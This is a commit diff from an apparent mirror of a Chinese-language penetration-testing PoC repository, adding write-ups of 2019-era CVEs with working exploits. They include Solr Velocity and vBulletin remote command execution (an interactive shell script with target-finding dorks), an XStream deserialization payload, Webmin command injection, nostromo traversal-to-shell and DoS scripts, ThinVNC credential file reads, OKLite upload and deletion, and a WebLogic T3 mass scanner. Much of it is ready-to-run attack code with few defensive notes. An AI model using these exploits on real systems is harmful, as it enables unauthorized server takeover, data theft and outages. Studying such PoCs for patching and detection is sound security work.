mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 08:54:28 +00:00
reorganize: create iot/, web/, privesc/, pc/ dirs and move loose md files
Co-authored-by: Mr-xn <[email protected]>
This commit is contained in:
1 parent
4c23abe08e
commit
7f075b99f4
81 files changed
+74
-74
No files matched your search
@@ -0,0 +1,44 @@
|
||||
```
|
||||
Apache Solr RCE via Velocity template
|
||||
|
||||
Set "params.resource.loader.enabled" as true.
|
||||
|
||||
Request:
|
||||
========================================================================
|
||||
POST /solr/test/config HTTP/1.1
|
||||
Host: solr:8983
|
||||
Content-Type: application/json
|
||||
Content-Length: 259
|
||||
|
||||
{
|
||||
"update-queryresponsewriter": {
|
||||
"startup": "lazy",
|
||||
"name": "velocity",
|
||||
"class": "solr.VelocityResponseWriter",
|
||||
"template.base.dir": "",
|
||||
"solr.resource.loader.enabled": "true",
|
||||
"params.resource.loader.enabled": "true"
|
||||
}
|
||||
}
|
||||
========================================================================
|
||||
|
||||
|
||||
RCE via velocity template
|
||||
Request:
|
||||
========================================================================
|
||||
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
|
||||
Host: localhost:8983
|
||||
========================================================================
|
||||
|
||||
|
||||
Response:
|
||||
========================================================================
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html;charset=utf-8
|
||||
Content-Length: 56
|
||||
|
||||
0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
|
||||
========================================================================
|
||||
```
|
||||
|
||||
> from : https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
|
||||
@@ -0,0 +1,118 @@
|
||||
## 前言
|
||||
|
||||
XStream是常用的Java类库,用来将对象序列化成XML (JSON)或反序列化为对象。
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
Xstream 1.4.10版本存在反序列化漏洞CVE-2013-7285补丁绕过。
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
当使用Xstream 1.4.10版本且未对安全框架进行初始化时,攻击者即可通过精心构造的请求包在使用Xstream的服务器上进行远程代码执行。
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> Xstream
|
||||
|
||||
### 版本
|
||||
|
||||
> Xstream1.4.10版本
|
||||
|
||||
### 组件
|
||||
|
||||
> Xstream
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
### PoC
|
||||
|
||||
```java
|
||||
package com.bigo;
|
||||
|
||||
import com.thoughtworks.xstream.XStream;
|
||||
|
||||
import java.beans.EventHandler;
|
||||
import java.io.IOException;
|
||||
import java.util.Set;
|
||||
import java.util.TreeSet;
|
||||
|
||||
/**
|
||||
* Created by cfchi on 2019/7/26.
|
||||
*/
|
||||
public class Main {
|
||||
public static String expGen(){
|
||||
XStream xstream = new XStream();
|
||||
Set<Comparable> set = new TreeSet<Comparable>();
|
||||
set.add("foo");
|
||||
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
|
||||
String payload = xstream.toXML(set);
|
||||
System.out.println(payload);
|
||||
return payload;
|
||||
}
|
||||
public static void main(String[] args) throws IOException {
|
||||
expGen();
|
||||
XStream xStream = new XStream();
|
||||
String payload = "<sorted-set>\n" +
|
||||
" <string>foo</string>\n" +
|
||||
" <dynamic-proxy>\n" +
|
||||
" <interface>java.lang.Comparable</interface>\n" +
|
||||
" <handler class=\"java.beans.EventHandler\">\n" +
|
||||
" <target class=\"java.lang.ProcessBuilder\">\n" +
|
||||
" <command>\n" +
|
||||
" <string>cmd.exe</string>\n" +
|
||||
" <string>/c</string>\n" +
|
||||
" <string>calc</string>\n" +
|
||||
" </command>\n" +
|
||||
" </target>\n" +
|
||||
" <action>start</action>"+
|
||||
" </handler>\n" +
|
||||
" </dynamic-proxy>\n" +
|
||||
"</sorted-set>\n";
|
||||
xStream.fromXML(payload);
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
### 1.4.7版本白名单
|
||||
|
||||

|
||||
|
||||
### 1.4.10版本,黑名单未开启
|
||||
|
||||

|
||||
|
||||
### 1.4.11版本,黑名单开启
|
||||
|
||||
> blacklist
|
||||
|
||||
```java
|
||||
private class InternalBlackList implements Converter {
|
||||
private InternalBlackList() {
|
||||
}
|
||||
|
||||
public boolean canConvert(Class type) {
|
||||
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
|
||||
}
|
||||
|
||||
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
|
||||
throw new ConversionException("Security alert. Marshalling rejected.");
|
||||
}
|
||||
|
||||
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
|
||||
throw new ConversionException("Security alert. Unmarshalling rejected.");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 修复方案
|
||||
> 升级Xstream到1.4.11版本
|
||||
|
||||
## 参考
|
||||
https://mp.weixin.qq.com/s/bght8tIwtNqnaidVZjPdSw
|
||||
http://x-stream.github.io/changes.html#1.4.11
|
||||
> 原文:http://www.polaris-lab.com/index.php/archives/658/
|
||||
@@ -0,0 +1,76 @@
|
||||
## 前言
|
||||
|
||||
CVE-2019-15107 Webmin <= 1.920 远程命令执行漏洞,漏洞需要开启密码重置功能。
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
CVE-2019-15107 Webmin <= 1.920 远程命令执行漏洞,可以直接执行系统命令
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
直接执行命令,如果webmin权限大可以直接获取到系统最高权限
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> Webmin
|
||||
|
||||
### 版本
|
||||
|
||||
> Webmin <= 1.920 版本
|
||||
|
||||
### 组件
|
||||
|
||||
> Webmin
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
首先开启密码重置功能:
|
||||
在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1
|
||||
|
||||

|
||||
|
||||
等待webmin重启,配置生效。查看webmin的配置文件,可以发现`passwd_mode`的值已经从`0`变为了`2`。
|
||||
```shell
|
||||
# cat /etc/webmin/miniserv.conf
|
||||
...
|
||||
passwd_mode=2
|
||||
...
|
||||
```
|
||||

|
||||
|
||||
数据库包如下:
|
||||
|
||||
```raw
|
||||
POST /password_change.cgi HTTP/1.1
|
||||
Host: yourip:10000
|
||||
Connection: close
|
||||
Content-Length: 63
|
||||
Cache-Control: max-age=0
|
||||
Origin: https://yourip:10000
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
|
||||
Sec-Fetch-Site: same-origin
|
||||
Referer: https://yourip:10000/session_login.cgi
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: redirect=1; testing=1; sessiontest=1; sid=x
|
||||
|
||||
user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli
|
||||
```
|
||||
|
||||
在参数`old`后加上`|ifconfig` 执行`ifconfig`命令。
|
||||
|
||||

|
||||
|
||||
如果user不存在,同样能执行命令
|
||||
|
||||

|
||||
|
||||
> PS: 1.910需要传入的user不存在,否则不能执行命令。不知道更老的版本会如何。建议为了全版本使用,POC最好传入一个不存在的user。
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
## 前言
|
||||
|
||||
OKLite v1.2.25 存在任意文件上传漏洞
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
Ethan发现OKLite v1.2.25 存在任意文件上传漏洞(需要登录后台)
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
直接上传getshell
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> OKLite
|
||||
|
||||
### 版本
|
||||
|
||||
> OKLite v1.2.25 版本
|
||||
|
||||
### 组件
|
||||
|
||||
> OKLite
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
登录后台,点击模块管理
|
||||

|
||||
|
||||
编辑一个测试文件test.php,压缩为test.zip上传。
|
||||

|
||||
|
||||
然后导入模块
|
||||
|
||||

|
||||
|
||||
点击开始上传,上传shell生成在解压主目录下面
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
访问`http://127.0.0.1:8888/1.2.25/data/cache/test.php`
|
||||
|
||||

|
||||
@@ -0,0 +1,50 @@
|
||||
## 前言
|
||||
|
||||
OKLite v1.2.25 存在任意文件删除漏洞
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
Ethan发现OKLite v1.2.25 存在任意文件删除漏洞(需要登录后台)
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
后台删除文件时抓包修改`title`参数可以直接删除网站任意文件
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> OKLite
|
||||
|
||||
### 版本
|
||||
|
||||
> OKLite v1.2.25 版本
|
||||
|
||||
### 组件
|
||||
|
||||
> OKLite
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
在主目录下创建一个index.txt用来测试
|
||||
|
||||

|
||||
|
||||
登录后台,在设置->风格管理
|
||||
|
||||

|
||||
|
||||
点击文件管理
|
||||
|
||||

|
||||
|
||||
随便删除一个文件,点击抓包,修改title参数为../../test.txt
|
||||
|
||||

|
||||
|
||||
发送请求,主目录下的test.txt已被删除
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
@@ -0,0 +1,54 @@
|
||||
## CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd
|
||||
|
||||
## 0x1.nostromo nhttpd简介
|
||||
nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。
|
||||
## 0x2.漏洞来源
|
||||
10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。
|
||||
|
||||
## 0x3.漏洞详情
|
||||
CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行。
|
||||
例如:
|
||||
```shell
|
||||
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
|
||||
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
|
||||
```
|
||||
|
||||
而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。
|
||||
例如:
|
||||
```shell
|
||||
$ curl http://127.0.0.1:8080
|
||||
HELLO!
|
||||
$ ./CVE-2019-16279.sh 127.0.0.1 8080
|
||||
$ curl http://127.0.0.1:8080
|
||||
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused
|
||||
```
|
||||
## 0x4.漏洞相关脚本
|
||||
`CVE-2019-16278.sh:`
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env bash
|
||||
|
||||
HOST="$1"
|
||||
PORT="$2"
|
||||
shift 2
|
||||
|
||||
( \
|
||||
echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
|
||||
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
|
||||
echo "$@ 2>&1" \
|
||||
) | nc "$HOST" "$PORT" \
|
||||
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
|
||||
```
|
||||
|
||||
`CVE-2019-16279.sh:`
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env bash
|
||||
|
||||
HOST="$1"
|
||||
PORT="$2"
|
||||
|
||||
echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
## 前言
|
||||
|
||||
CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
Ethan发现FlameCMS 3.3.5 后台登录处存在sql注入漏洞
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
后台登录处存在sql注入漏洞,可以通过`sqlmap`直接跑出所有表
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> FlameCMS
|
||||
|
||||
### 版本
|
||||
|
||||
> FlameCMS 3.3.5 版本
|
||||
|
||||
### 组件
|
||||
|
||||
> FlameCMS
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
访问后台登陆处抓包`http://127.0.0.1:8888/FlameCMS-master/account/login.php`
|
||||
|
||||

|
||||
|
||||
然后把抓取的post包,放进sqlmap跑,成功使用盲注跑出
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
@@ -0,0 +1,42 @@
|
||||
## 前言
|
||||
|
||||
CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
夜程 发现indexhibit cms v2.1.5 存在重装并导致getshell 漏洞
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
如果没有删除 install.php 则可以通过直接提交参数进行重装,并在后台直接getshell
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> indexhibit cms
|
||||
|
||||
### 版本
|
||||
|
||||
> indexhibit cms v2.1.5 版本
|
||||
|
||||
### 组件
|
||||
|
||||
> indexhibit cms
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接访问/ndxzstudio/install.php,提示已安装
|
||||
|
||||

|
||||
|
||||
但是,通过参数p可以绕过,直接重新安装
|
||||
|
||||

|
||||
|
||||
填写相关信息后安装成功:
|
||||
|
||||

|
||||
|
||||
## POC:
|
||||
> /ndxzstudio/install.php?p=2
|
||||
@@ -0,0 +1,71 @@
|
||||
## 前言
|
||||
|
||||
vBulletin 是一个商用的论坛程序,在全球拥有数万用户且增长速度很快。该论坛采用PHP Web语言及MySQL数据库的方式进行架构。《财富》 500强和Alexa排名前100万的公司网站大部分都在使用的一款互联网论坛程序。
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit ,无需预认证即可执行远程代码执行漏洞
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
不需要在目标论坛上注册帐户,即可在运行vBulletin安装的服务器上执行shell命令
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> vBulletin 5.x
|
||||
|
||||
### 版本
|
||||
|
||||
> vBulletin v5(5.0.0到5.5.4)版本
|
||||
|
||||
### 组件
|
||||
|
||||
> vBulletin
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
## POC
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# vBulletin 5.x 0day pre-auth RCE exploit
|
||||
#
|
||||
# This should work on all versions from 5.0.0 till 5.5.4
|
||||
#
|
||||
# Google Dorks:
|
||||
# - site:*.vbulletin.net
|
||||
# - "Powered by vBulletin Version 5.5.4"
|
||||
|
||||
import requests
|
||||
import sys
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
|
||||
|
||||
proxies ={
|
||||
"http":"http://127.0.0.1:8080/"
|
||||
}
|
||||
params = {"routestring":"ajax/render/widget_php"}
|
||||
|
||||
while True:
|
||||
try:
|
||||
cmd = raw_input(">>>Shell= ")
|
||||
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;"
|
||||
r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
|
||||
if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text:
|
||||
print
|
||||
print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0]
|
||||
else:
|
||||
sys.exit("Exploit failed! :(")
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\nClosing shell...")
|
||||
except Exception, e:
|
||||
sys.exit(str(e))
|
||||
|
||||
```
|
||||
### 复现截图
|
||||
|
||||

|
||||
@@ -0,0 +1,51 @@
|
||||
## ThinVNC 1.0b1 - Authentication Bypass
|
||||
|
||||
## 简介
|
||||
|
||||
ThinVNC是一款基于HTML5和AJAX的远程桌面实现
|
||||
|
||||
## POC
|
||||
|
||||
```python
|
||||
# Exploit Title: ThinVNC 1.0b1 - Authentication Bypass
|
||||
# Date: 2019-10-17
|
||||
# Exploit Author: Nikhith Tumamlapalli
|
||||
# Contributor WarMarX
|
||||
# Vendor Homepage: https://sourceforge.net/projects/thinvnc/
|
||||
# Software Link: https://sourceforge.net/projects/thinvnc/files/ThinVNC_1.0b1/ThinVNC_1.0b1.zip/download
|
||||
# Version: 1.0b1
|
||||
# Tested on: Windows All Platforms
|
||||
# CVE : CVE-2019-17662
|
||||
|
||||
# Description:
|
||||
# Authentication Bypass via Arbitrary File Read
|
||||
|
||||
#!/usr/bin/python3
|
||||
|
||||
import sys
|
||||
import os
|
||||
import requests
|
||||
|
||||
def exploit(host,port):
|
||||
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
|
||||
r = requests.get(url)
|
||||
body = r.text
|
||||
print(body.splitlines()[2])
|
||||
print(body.splitlines()[3])
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
if(len(sys.argv)!=3):
|
||||
print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
|
||||
print("Example:\n{} 192.168.0.10 5888")
|
||||
else:
|
||||
port = sys.argv[2]
|
||||
host = sys.argv[1]
|
||||
exploit(host,port)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
## CVE-2019-2890-Oracle WebLogic 反序列化严重漏洞
|
||||
|
||||
### 漏洞背景
|
||||
|
||||
HSCERT监测发现WebLogic官方发布了CVE-2019-2890漏洞预警。此漏洞存在于Weblogic Console组件中,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限。
|
||||
|
||||
WebLogic 是 Oracle 公司出品的基于 JavaEE 架构的中间件,用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用。
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。
|
||||
|
||||
由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
|
||||
|
||||
漏洞PoC如下:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
# 2019-10-17 8:45
|
||||
|
||||
import socket
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
|
||||
timeout = int(sys.argv[1])
|
||||
VUL=['CVE-2019-2890']
|
||||
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
|
||||
VER_SIG=['\\$Proxy[0-9]+']
|
||||
vul_no = []
|
||||
vul_yes = []
|
||||
vul_more_test = []
|
||||
|
||||
def t3handshake(sock,server_addr):
|
||||
print '正在连接服务器...'
|
||||
sock.connect(server_addr)
|
||||
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
|
||||
time.sleep(1)
|
||||
sock.recv(1024)
|
||||
|
||||
|
||||
def buildT3RequestObject(sock,port,server_addr):
|
||||
print '%s:%d连接成功,正在发送请求...' %(server_addr[0],server_addr[1])
|
||||
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
|
||||
data3 = '1a7727000d3234322e323134'
|
||||
data4 = '2e312e32353461863d1d0000000078'
|
||||
for d in [data1,data2,data3,data4]:
|
||||
sock.send(d.decode('hex'))
|
||||
time.sleep(2)
|
||||
lendate = len(sock.recv(2048))
|
||||
print '发送有效载荷请求成功,接收长度:%d'%(lendate)
|
||||
return lendate
|
||||
|
||||
def sendEvilObjData(sock,data,lendate):
|
||||
print '正在执行载荷,请稍等...'
|
||||
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||
payload+=data
|
||||
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
|
||||
sock.send(payload.decode('hex'))
|
||||
time.sleep(2)
|
||||
sock.send(payload.decode('hex'))
|
||||
res = ''
|
||||
start = time.time()
|
||||
try:
|
||||
while True:
|
||||
res += sock.recv(4096)
|
||||
time.sleep(0.1)
|
||||
end =time.time()
|
||||
timeend = end-start
|
||||
if lendate == 0 and timeend > timeout:
|
||||
break
|
||||
except Exception as e:
|
||||
pass
|
||||
return res
|
||||
|
||||
def checkVul(res,server_addr,index):
|
||||
print '执行结果:'
|
||||
p=re.findall(VER_SIG[index], res, re.S)
|
||||
if len(p)>0:
|
||||
print '%s:%d 存在 %s 漏洞。'%(server_addr[0],server_addr[1],VUL[index])
|
||||
vul_yes.append(server_addr)
|
||||
else:
|
||||
print '%s:%d 不存在 %s 漏洞。' % (server_addr[0],server_addr[1],VUL[index])
|
||||
print '[+] You look like Cai Xukun when you play basketball'
|
||||
vul_no.append(server_addr)
|
||||
|
||||
|
||||
def run(index):
|
||||
with open("url.txt",'r') as lists:
|
||||
for server_addr in lists:
|
||||
server_addr=server_addr.strip('\n\r')
|
||||
dip=server_addr.split(':')[0]
|
||||
global dport
|
||||
dport=int(server_addr.split(':')[1])
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(15)
|
||||
server_addr = (dip, dport)
|
||||
try:
|
||||
t3handshake(sock,server_addr)
|
||||
except Exception as e:
|
||||
print '%s:%d连接失败,请检查IP是否存活...' %(server_addr[0],server_addr[1])
|
||||
else:
|
||||
try:
|
||||
lendate = buildT3RequestObject(sock,dport,server_addr)
|
||||
rs=sendEvilObjData(sock,PAYLOAD[index],lendate)
|
||||
# print 'rs',rs
|
||||
except Exception as e:
|
||||
print '%s:%d请求频繁,请稍后自行单独测试...' %(server_addr[0],server_addr[1])
|
||||
vul_more_test.append(server_addr)
|
||||
else:
|
||||
checkVul(rs,server_addr,index)
|
||||
finally:
|
||||
sock.close()
|
||||
|
||||
print '='*50
|
||||
print '检测完成!'
|
||||
print '以下IP存在CVE-2019-2890漏洞:'
|
||||
for yes in vul_yes:
|
||||
print '%s:%s' % (yes[0],yes[1])
|
||||
print '='*50
|
||||
print '以下IP不存在漏洞:'
|
||||
for no in vul_no:
|
||||
print '%s:%s' % (no[0],no[1])
|
||||
print '='*50
|
||||
print '以下IP请求频繁,需单独自行测试:'
|
||||
for more in vul_more_test:
|
||||
print '%s:%s' % (more[0],more[1])
|
||||
print '='*50
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
run(0)
|
||||
```
|
||||
|
||||
### 漏洞危害
|
||||
|
||||
**严重**
|
||||
|
||||
### 影响版本
|
||||
|
||||
WebLogic Server 10.3.6.0
|
||||
|
||||
WebLogic Server 12.1.3.0
|
||||
|
||||
WebLogic Server 12.2.1.3
|
||||
|
||||
### 安全建议
|
||||
|
||||
一、禁用 T3 协议
|
||||
|
||||
如果您不依赖 T3 协议进行 JVM 通信,可通过暂时阻断 T3 协议缓解此漏洞带来的影响。
|
||||
|
||||
1. 进入 Weblogic 控制台,在 base_domain 配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
|
||||
|
||||
